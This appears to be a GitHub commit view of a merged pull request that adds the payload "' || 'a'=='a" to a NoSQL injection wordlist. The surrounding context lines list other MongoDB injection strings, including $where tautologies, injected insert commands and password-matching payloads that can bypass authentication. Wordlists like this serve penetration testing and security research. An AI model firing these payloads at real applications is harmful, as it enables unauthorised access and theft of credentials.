Merge pull request #502 from danrneal/patch-1

Add string js or injection
This commit is contained in:
g0tmi1k
2020-09-16 07:22:43 +01:00
committed by GitHub

View File

@@ -9,6 +9,7 @@ $where: '1 == 1'
db.injection.insert({success:1}); db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1 || 1==1
' || 'a'=='a
' && this.password.match(/.*/)//+%00 ' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00